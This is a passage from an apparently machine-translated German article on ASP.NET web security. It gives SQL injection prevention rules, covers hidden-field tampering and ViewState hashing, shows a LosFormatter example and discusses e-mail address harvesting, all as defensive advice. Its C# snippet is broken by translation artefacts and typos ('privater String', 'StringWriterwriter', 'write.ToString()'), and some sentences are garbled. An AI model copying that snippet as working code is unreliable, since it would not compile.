Zusammenfassend sollten Sie diese Richtlinien befolgen, um zu vermeiden, dass schädlicher SQL-Code eingeschleust wird:
• Führen Sie den Code mit möglichst wenigen Berechtigungen aus und führen Sie Code niemals als „sa“ aus.
• Beschränken Sie den Zugriff auf integrierte gespeicherte Prozeduren.
• Bevorzugen Sie die Verwendung von SQL-parametrisierten Abfragen.
• Anweisungen werden nicht durch Zeichenfolgenverkettung generiert und Datenbankfehler werden nicht wiedergegeben.
Zurück zum Anfang Versteckte Felder In herkömmlichem ASP waren versteckte Felder die einzige Möglichkeit, Daten zwischen Anfragen beizubehalten. Alle Daten, die Sie bei der nächsten Anfrage abrufen müssen, werden in das ausgeblendete <input>-Feld gepackt und der Rücklauf wird durchgeführt. Was passiert, wenn jemand den in diesem Feld auf dem Client gespeicherten Wert ändert? Solange der Text klar ist, kann die serverseitige Umgebung dies nicht erkennen. In ASP.NET dient die ViewState-Eigenschaft von Seiten und einzelnen Steuerelementen zwei Zwecken. Einerseits ist ViewState eine Möglichkeit, den Status über Anfragen hinweg beizubehalten. Andererseits ermöglicht ViewState das Speichern benutzerdefinierter Werte in versteckten Feldern, die geschützt sind und nicht leicht manipuliert werden können.
Wie in Abbildung 2 dargestellt, wird dem Ansichtsstatus ein Hash-Wert angehängt und dieser Wert wird bei jeder Anfrage überprüft, um festzustellen, ob Manipulationen stattgefunden haben. Bis auf wenige Fälle gibt es keinen Grund, versteckte Felder in ASP.NET zu verwenden. View State erreicht die gleiche Funktionalität auf viel sicherere Weise. Wie bereits erwähnt, kann das Speichern sensibler Werte (wie Preise oder Kreditkartendaten) in versteckten Feldern im Klartext die Tür für Hacker öffnen; Datenschutzmechanismus. Beachten Sie jedoch, dass der Ansichtsstatus manipulationssicher ist, die Vertraulichkeit jedoch nicht gewährleistet ist, sofern keine Verschlüsselung verwendet wird – Kreditkartendaten, die im Ansichtsstatus gespeichert sind, sind ohnehin gefährdet.
Wann ist es in ASP.NET akzeptabel, ausgeblendete Felder zu verwenden? Wenn Sie ein benutzerdefiniertes Steuerelement erstellen, das Daten an den Server zurücksenden muss. Angenommen, Sie möchten ein neues DataGrid-Steuerelement erstellen, das die Neuordnung von Spalten unterstützt. Sie müssen die neue Bestellung in einem Postback an den Server zurücksenden. Wenn diese Informationen nicht in einem versteckten Feld gespeichert werden, wo können sie dann gespeichert werden?
Handelt es sich bei dem versteckten Feld um ein Lese-/Schreibfeld, d. h. es wird erwartet, dass der Client darauf schreibt, gibt es keine Möglichkeit, einen Hackerangriff vollständig zu verhindern. Sie könnten versuchen, den Text zu hashen oder zu verschlüsseln, aber das gibt Ihnen keine hinreichende Sicherheit, dass er nicht gehackt wird. An diesem Punkt besteht die beste Verteidigung darin, dass das verborgene Feld träge und harmlose Informationen enthält.
Darüber hinaus ist zu beachten, dass ASP.NET eine wenig bekannte Klasse bereitstellt, die zum Codieren und Hashen jedes serialisierten Objekts verwendet werden kann. Diese Klasse ist LosFormatter, dieselbe Klasse, die ViewState implementiert, um den codierten Text zurück an den Client zu erstellen.
privater String EncodeText(String Text) {
StringWriterwriter = new StringWriter();
LosFormatter formatter = new LosFormatter();
formatter.Serialize(writer, text);
return write.ToString();
}
Das vorherige Code-Snippet zeigt, wie man LosFormatter verwendet, um so etwas wie den Ansichtszustand zu erstellen, ihn zu kodieren und zu hashen.
E-Mail und Spam Lassen Sie mich am Ende dieses Artikels darauf hinweisen, dass mindestens zwei der häufigsten Angriffe (klassisches XSS und One-Click) in der Regel dadurch erfolgen, dass ahnungslose Opfer dazu verleitet werden, auf verlockende und irreführende Links zu klicken. Oft finden wir solche Links trotz Anti-Spam-Filtern in unserem Posteingang. Für ein paar Dollar kann man viele E-Mail-Adressen kaufen. Eine der wichtigsten Techniken zum Erstellen solcher Listen besteht darin, öffentliche Seiten einer Website zu durchsuchen, um alles zu finden und abzurufen, das wie eine E-Mail-Nachricht aussieht.
Wenn auf der Seite eine E-Mail-Adresse angezeigt wird, ist es wahrscheinlich, dass die Adresse früher oder später von einem automatisierten Webprogramm erfasst wird. Wirklich? Dies hängt natürlich davon ab, wie die E-Mail angezeigt wird. Wenn Sie es fest codieren, verlieren Sie. Es ist nicht klar, dass eine andere Darstellung wie dino-at-microsoft-dot-com in der Lage wäre, automatisierte Webprogramme zu täuschen, aber sie würde definitiv jeden, der Ihre Seite liest, dazu bringen, eine legitime Verbindung herzustellen.
Im Allgemeinen sollten Sie eine Möglichkeit finden, E-Mail-Nachrichten dynamisch als Mailto-Links zu generieren. Eine kostenlose Komponente von Marco Bellinaso tut genau das. Den vollständigen Quellcode für diese Komponente erhalten Sie von der DotNet2TheMax-Website.
Zusammenfassung Vermutet jemand, dass das Web die feindseligste aller Laufzeitumgebungen sein könnte? Die Hauptursache besteht darin, dass jeder auf eine Website zugreifen und versuchen kann, gute oder schlechte Daten an diese weiterzugeben. Aber welchen Sinn hat es, eine Webanwendung zu erstellen, die keine Benutzereingaben akzeptiert?
Seien wir ehrlich: Egal wie leistungsstark Ihre Firewall ist, egal wie oft Sie verfügbare Patches anwenden – solange Sie eine Webanwendung ausführen, die inhärente Fehler aufweist, wird ein Angreifer früher oder später in der Lage sein, direkt auf den Hauptkanal zuzugreifen. Das ist Port 80. Kommen Sie zum Kern Ihres Systems.
ASP.NET-Anwendungen sind weder anfälliger noch sicherer als andere Webanwendungen. Sicherheit und Schwachstellen sind gleichermaßen auf Codierungspraktiken, reale Erfahrungen und Teamarbeit zurückzuführen. Wenn das Netzwerk nicht sicher ist, ist auch keine Anwendung sicher. Ganz gleich, wie sicher und gut verwaltet das Netzwerk ist: Wenn die Anwendung fehlerhaft ist, haben Angreifer immer Zugriff.
Der Vorteil von ASP.NET besteht darin, dass es einige gute Tools bereitstellt, die mit ein wenig Aufwand die Sicherheitsstandards auf ein akzeptables Niveau anheben können. Natürlich ist das nicht hoch genug. Sie sollten sich nicht ausschließlich auf die integrierten Lösungen von ASP.NET verlassen und diese auch nicht ignorieren. Erfahren Sie so viel wie möglich über häufige Angriffe.
Dieser Artikel enthält eine kommentierte Liste der integrierten Funktionen sowie einige Hintergrundinformationen zu Angriffen und Abwehrmaßnahmen. Die Techniken zur Erkennung ausgehender Angriffe sind eine andere Sache und verdienen wahrscheinlich einen eigenen Artikel.